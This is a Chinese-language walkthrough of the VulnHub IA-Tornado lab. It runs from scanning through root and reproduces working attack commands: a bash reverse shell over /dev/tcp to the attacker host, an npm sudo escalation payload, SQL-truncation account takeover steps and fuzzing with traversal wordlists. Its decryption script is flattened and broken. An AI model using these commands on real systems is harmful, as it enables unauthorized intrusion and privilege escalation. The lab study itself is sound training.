vulnhub靶场【IA系列】之Tornado

前言

靶机:IA-Tornado,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

本文所用靶场、kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看 https://pan.quark.cn/s/8585373be449

主机发现

因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -lnetdiscover -r 192.168.10.1/24

若想要模拟真实环境,可以使用nmap

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面,发现是apachee2的默认界面,查看页面源代码也未发现内容

尝试进行目录爆破

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具进行爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

发现一个路径bluesky,其他路径无可用,访问这个路径,发现是一个前端页面,不知道这种有没有和后端交互

哇,这个界面真的很像现在大部分的网站,都是前后端分离的,不过这里的靶场不确定是否也是,所以对这个路径再进行一次扫描,可以看到还是有后端的语言php

gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md

或者借助浏览器插件wappalyzer也是可以发现编程语言的,这里若是发现后,就可以再使用目录爆破了

访问上面扫描出的路径,通过上面也可以看到,可用的路径两个,一个login.php一个signup.php

访问login.php

漏洞寻找

尝试输入一些弱密码、万能密码等操作,无法登录成功

再访问signup.php,发现输入后,会直接提示注册成功信息

以注册的信息进行访问login.php,并输入注册的信息进行登录

在点击portfolio时,出现下面字符,说是LFI漏洞被修复了,但是不要忘记再测试

其实这里点击功能点后,都未发现其他的利用,不过这里是php,所以测试是否有隐藏传参支持本地文件包含等,也就是进行爆破

这里先查看每个功能点的页面源代码,在portfolio这里的页面源代码中,出现敏感目录信息

这里假设不知道这个路径,对每个php文件进行路径测试,可以使用ffufwfuzz

不过这里需要先获取正在登录状态的用户的cookie才行,可以直接使用浏览器查看登录的cookie

以火狐浏览器为例,打开开发者工具,可按f12进入

或者利用工具curl

curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式,这里可以在查看页面源代码处发现,表单提交是POST
#-d 是POST请求体中的数据,这里的数据形式,可以借助浏览器中开发者工具,其中的网络模块,可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中

查看c.txt即可发现cookie的名称以及值

这里获取到cookie了,那么为什么确定cookie才可以呢,这里以ffuf为例,查看返回

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的,并且未给予`cookie`

上面的返回与目录爆破时一样,都是要302跳转的。

再以添加cookie后的返回为对比

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"

可以看到,指定cookie后,就可以直接访问了,所以这也是以cookie做身份验证的

那么尝试使用ffuf进行测试,当然使用burp抓包爆破,就通过数据包直接爆破即可,因为请求数据包中含有登录的cookie信息

不过这里字典跑了很久,并未获取到任何传参等信息,并且登录后的几个php都测试了

ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205

啧,已知的信息大概就这么多,这里难道不是通过传参进行文件包含的吗

给出的路径/home/tornado/imp.txt

信息泄露

分析这个路径,一般/home是存放用户的家目录,而其目录下的一般都是用户,就假设这里的路径就是家目录。表示存在用户tornado。那么之前nmap扫描的时候,目标为linux,是否可以确定这个路径具有多种表现方式

/home/tornado/imp.txt
~/imp.txt		#这里表示当前用户家目录下的imp.txt
~tornado/imp.txt	#这里表示用户tornado家目录下的imp.txt
#一般  ~  后加用户名,表示某用户的家目录

分析来看,一般网站的用户都是www-data,并且主目录不是在/home的,并且这里测试php文件有无传参,并未发现,说明确实修复了, 不过假设不通过传参呢,直接通过网址进行访问进行测试

当前的网址路径有两个,其余可以直接看到的,无意义

http://192.168.10.11
http://192.168.10.11/bluesky

把这两个url与上面三个路径进行组合

http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt

然后使用ffuf测试哪些有返回

发现urlhttp://192.168.10.11/~tornado/imp.txt有返回,访问查看,发现全是邮箱地址

之前在进行登录的时候,用户名处就是邮箱,测试这些用户名是否存在

ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado

signup.php这里可以测试是否存在,不存在就会像之前一样,提示注册成功

使用burp抓取注册时的数据包,然后进行爆破

攻击成功后进行查看,因为这里使用的是burp社区版,所以不能直接进行搜索结果,不过可以在设置中配置匹配,这里用户已注册会返回User already registered,以这个进行匹配,就可以清晰的看清了

这里去网站看了一下,这个13是指长度,不过这里长度限制是在表单输入,和我通过抓包修改有什么关系,我已经不受表单控制了,😄

其实主要是观察这三个账户

admin@tornado
jacob@tornado
hr@tornado

不过前面既然注册了,使用burp再验证一下,奇怪的点出现了,前面manager注册成功的,这里确登录不了

分析为sql截断

前往浏览器进行手工测试,发现长度限制,那么前面注册的是什么,分析一下,在浏览器进行注册,也是有长度限制的,我是通过burp绕过这个前端的长度限制。

那么,通过burp注册的账户,到了数据库怎么处理的,或者说没到数据库的时候经过什么处理了。

直接输入长度限制的账号manager@torna,啧,登录成功了

好家伙,说明这里前端的长度限制和sql是一样的,或者说前端是可修改长度,sql是进行截断操作

这里长度限制为13,那么通过这种形式,测试sql在进行截断的时候,是否还进行数据库中用户的检验,若没有,就可以存在多个用户了,尤其是空格之类的。

admin@tornado a
jacob@tornado a
hr@tornado    a

之后直接登录admin@tornado,以及注册的密码,发现直接登录成功,但是查看这个功能点,还是不行

再换一个注册jacob@tornado a,然后以jacob@tornado登录,好嘛,这里可以看到了

发现这里输入什么就会返回什么,这不就是很好的xss吗,但是这里要xss还有什么用吗,都已经登录了,尝试试试输入一些命令,看其能否执行

命令注入

经过测试,输入id、ls等,直接返回这些字符,不过,我这里测试一下ping的时候,发现问题。

我刚开始直接输入ping 127.0.0.1,因为是linux界面,所以一直在加载,那么,大概就清楚了。然后我把靶机重启了,然后重新验证,只发送5个包,ping -c 127.0.0.1,发现真的有变化,确定是可以执行命令,只是不把回显返回

尝试进行shell反弹,先在kali中使用nc开启监听9999端口,然后输入下面命令,并执行

/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

提权

提权至catchme用户

使用find寻找具有SUID权限的文件,发现sudo,直接尝试,发现不需要密码,有一个用户catchme的文件可执行

find / -perm -4000 -print 2>/dev/null

对于不知道npmsudo提权,可以查看网站gtfobins.github.io中的帮助

TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i

使用dpkg查看python版本,然后使用python获取交互式界面

dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权至root用户

查看这个用户的家目录

把代码中已经加密的那一串尝试进行分析,因为执行过这个脚本,发现不知道输入什么字符加密了。

不过这里可以通过源代码给进行反写,不会写代码就直接丢给ai,这里可以提供代码

import string# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"for key in string.printable:if len(key) > 1:continues = "abcdefghijklmnopqrstuvwxyz"s = s.replace(key, '')s = key + sdecrypted_text = ""for n in encrypted_text:j = ord(n)if j == ord(key):j = ord('a')decrypted_text += chr(j)elif n > 'a' and n <= key:j = j + 1decrypted_text += chr(j)elif n > key:decrypted_text += nelif ord(n) == 32:decrypted_text += chr(32)elif j >= 48 and j <= 57:decrypted_text += chr(j)elif j >= 33 and j <= 47:decrypted_text += chr(j)elif j >= 58 and j <= 64:decrypted_text += chr(j)elif j >= 91 and j <= 96:decrypted_text += chr(j)elif j >= 123 and j <= 126:decrypted_text += chr(j)print(decrypted_text)

然后执行这个脚本,把结果重定向到一个文件中

其实数据不多,查看一下,就发现一个引人idkrootpassword

把结果进行一个ssh爆破,针对root,因为已知的两个用户都用过了

查看最终文件

总结

该靶机主要考察以下几点

  1. 对于网站路径,以及本地文件包含的注入点测试
  2. 对于linux~表示什么意思,以及~用户表示什么意思,以及/home是存放什么的
  3. 对于sql截断注入的了解,要测试后,才能知道,这里就是观察到注册成功,但是无法成功登录的情况进行具体分析
  4. 对于输入框,输入什么返回什么,若是未登录状态,使用xss可行,当然,实际情况中,若是真有,可以构造链接,发送给别人。这里是要获取shell,所以测试命令注入方面。虽然没有回显,但是在执行需要时间的命令时,明显发现是可执行命令的
  5. 对于sudo提权的一些方法,这里是npm
  6. 对于python代码,或者能获取到关键信息也行,现在ai发展迅速,可以通过ai直接写出逆向解密的代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/68217.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[云讷科技] 用于软件验证的仿真环境

我们使用Pursuit自动驾驶仪为各种场景设计仿真环境&#xff0c;以便用户可以在模拟环境中直接验证他们的软件&#xff0c;无需现场测试。该环境基于Gazebo引擎。 1. 工作区目录 模拟环境的工作区位于提供的U盘中的~/pursuit_space/sitl_space_pursuit中。用户可以按照用户手册…

【Uniapp-Vue3】页面生命周期onLoad和onReady

一、onLoad函数 onLoad在页面载入时触发&#xff0c;多用于页面跳转时进行参数传递。 我们在跳转的时候传递参数name和age: 接受参数&#xff1a; import {onLoad} from "dcloudio/uni-app"; onLoad((e)>{...}) 二、onReady函数 页面生命周期函数中的onReady其…

iOS 解决两个tableView.嵌套滚动手势冲突

我们有这样一个场景&#xff0c;就是页面上有一个大的tableView&#xff0c; 每一个cell都是和屏幕一样高的&#xff0c;然后cell中还有一个可以 tableView&#xff0c;比如直播间的情形&#xff0c;这个时候如果我们拖动 cell里面的tableView滚动的话&#xff0c;如果滚动到内…

STM32 FreeRTOS移植

目录 FreeRTOS源码结构介绍 获取源码 1、 官网下载 2、 Github下载 源码结构介绍 源码整体结构 FreeRTOS文件夹结构 Source文件夹结构如下 portable文件夹结构 RVDS文件夹 MemMang文件夹 FreeRTOS在基于寄存器项目中移植步骤 目录添加源码文件 工程添加源码文件 …

【ASP.NET学习】Web Forms创建Web应用

文章目录 什么是 Web Forms&#xff1f;ASP.NET Web Forms - HTML 页面用 ASP.NET 编写的 Hello RUNOOB.COM它是如何工作的&#xff1f;经典 ASP ASP.NET Web Forms - 服务器控件经典 ASP 的局限性ASP.NET - 服务器控件ASP.NET - HTML 服务器控件ASP.NET - Web 服务器控件ASP.N…

Linux 常见运营维护,从安装软件开始,到mysql,php,redis,tomcat等软件安装,配置,优化,持续更新中。。。

下载centos7 CentOS 7 完整版&#xff08;DVD&#xff09;&#xff1a; https://mirrors.aliyun.com/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-2009.isoCentOS 7 最小化版&#xff08;Minimal&#xff09;&#xff1a; https://mirrors.aliyun.com/centos/7/isos/x86_64/C…

用户界面软件05

已知应用 几乎所有的流行的用户界面架构都使用这种模式。我在这里举三个例子&#xff1a; 1. Seeheim 用户界面架构的特点是有一个应用核心的领域层和一个用户界面层。后者 被分为两层&#xff0c;叫做表示层和对话控制层。因为这个架构和面向事务系统有渊源&#xff0c;没有…

从玩具到工业控制--51单片机的跨界传奇【2】

咱们在上一篇博客里面讲解了什么是单片机《单片机入门》&#xff0c;让大家对单片机有了初步的了解。我们今天继续讲解一些有关单片机的知识&#xff0c;顺便也讲解一下我们单片机用到的C语言知识。如果你对C语言还不太了解的话&#xff0c;可以看看博主的C语言专栏哟&#xff…

LVGL移植高通点阵字库GT30L24A3W

字库芯片: GT30L24A3W MCU:STM32F429 LVGL版本:V8.4 一、实现gt_read_data() 和 r_dat_bat() 请参考下面视频 如何在32位MCU上使用高通点阵字库_哔哩哔哩_bilibili 高通字库使用教程(1)硬件链接与注意事项部分_哔哩哔哩_bilibili 高通字库使用教程(2)SPI底层函数使用_哔哩…

C# OpenCV机器视觉:转速测量

在一个看似平常却又暗藏神秘能量的日子里&#xff0c;阿杰正在他那充满科技感的实验室里&#xff0c;对着一堆奇奇怪怪的仪器发呆。突然&#xff0c;手机铃声如一道凌厉的剑气划破寂静&#xff0c;原来是工厂的赵厂长打来的紧急电话&#xff1a;“阿杰啊&#xff0c;咱们工厂新…

【Vue】Vue组件--上

目录 一、组件基础 二、组件的嵌套关系 1. 基础架构 2. 嵌套 三、组件注册方式 1. 局部注册&#xff1a; 2. 全局注册&#xff1a; 四、组件传递数据 1. 基础架构 2. 传递多值 3. 动态传递数据 五、组件传递多种数据类型 1. Number 2. Array 3. Object 六、组…

unity下载newtonsoft-json

Package Manager&#xff0c;输入com.unity.nuget.newtonsoft-json 右键Assets-Reinport All

SpringBoot项目实战(40)--Beetl网页开发在控制层使用通用方法映射前端不同路径的网页

在SpringBoot中使用Beetl做前端页面&#xff0c;后端如何使用Controller映射前端不同的页面&#xff0c;不需要为每个前端页面单独增加控制层方法&#xff1f; 因为前端页面比较多&#xff0c;每个前端页面对应一个独立Controller方法也是不现实的&#xff0c;总不能每增加一个…

【自动化测试】—— Appium安装配置保姆教程(图文详解)

目录 一. 环境准备 二. JDK安装 1. 下载JDK 2. 安装JDK 3. 配置环境 4. 验证安装 三. Android SDK安装 1. 下载Android SDK 2. 安装Android SDK 3. 安装工具 4. 配置环境 5. 验证安装 四. NodeJS安装 1. 下载NodeJS 2. 安装NodeJS 3. 验证安装 4. 安装淘宝镜像…

Oracle 终止正在执行的SQL

目录 一. 背景二. 操作简介三. 投入数据四. 效果展示 一. 背景 项目中要求进行性能测试&#xff0c;需要向指定的表中投入几百万条数据。 在数据投入的过程中发现投入的数据不对&#xff0c;需要紧急停止SQL的执行。 二. 操作简介 &#x1f449;需要DBA权限&#x1f448; ⏹…

【SH】Xiaomi9刷Windows10系统研发记录 、手机刷Windows系统教程、小米9重装win10系统

文章目录 参考资料云盘资料软硬件环境手机解锁刷机驱动绑定账号和设备解锁手机 Mindows工具箱安装工具箱和修复下载下载安卓和woa资源包第三方Recovery 一键安装Windows准备工作创建分区安装系统 效果展示Windows和Android一键互换Win切换安卓安卓切换Win 删除分区 参考资料 解…

MWORKS 2025a 直播回顾 | 第二期:M语言计算环境重磅更新

MWORKS.Syslab首次推出时已实现基于Julia语言的科学计算环境&#xff0c;尽管如此&#xff0c;仍有大量工程师团队坚持使用M语言相关软件。除了使用习惯和学习语言等问题&#xff0c;更深层的原因在于大量历史代码资产复用的问题。为了解决这一关键问题&#xff0c;同元软控在后…

晨辉面试抽签和评分管理系统之八:随机编排考生的面试批次(以教师资格考试面试为例)

晨辉面试抽签和评分管理系统&#xff08;下载地址:www.chenhuisoft.cn&#xff09;是公务员招录面试、教师资格考试面试、企业招录面试等各类面试通用的考生编排、考生入场抽签、候考室倒计时管理、面试考官抽签、面试评分记录和成绩核算的面试全流程信息化管理软件。提供了考生…

专用小软件,完全免费,非常丝滑

今天给大家介绍一个专门将PDF数电发票合并打印的软件&#xff0c;这个软件可以批量操作&#xff0c;完全免费没有任何的广告。 电子发票专用批量打印工具 免费批量使用 软件无需安装&#xff0c;解压之后双击这个图标就能直接使用了。 点击右上角的加号&#xff0c;选中需要打…

《leetcode-runner》如何手搓一个debug调试器——架构

本文主要聚焦leetcode-runner对于debug功能的整体设计&#xff0c;并讲述设计原因以及存在的难点 设计引入 让我们来思考一下&#xff0c;一个最简单的调试器需要哪些内容 首先&#xff0c;它能够接受用户的输入 其次&#xff0c;它能够读懂用户想让调试器干嘛&#xff0c;…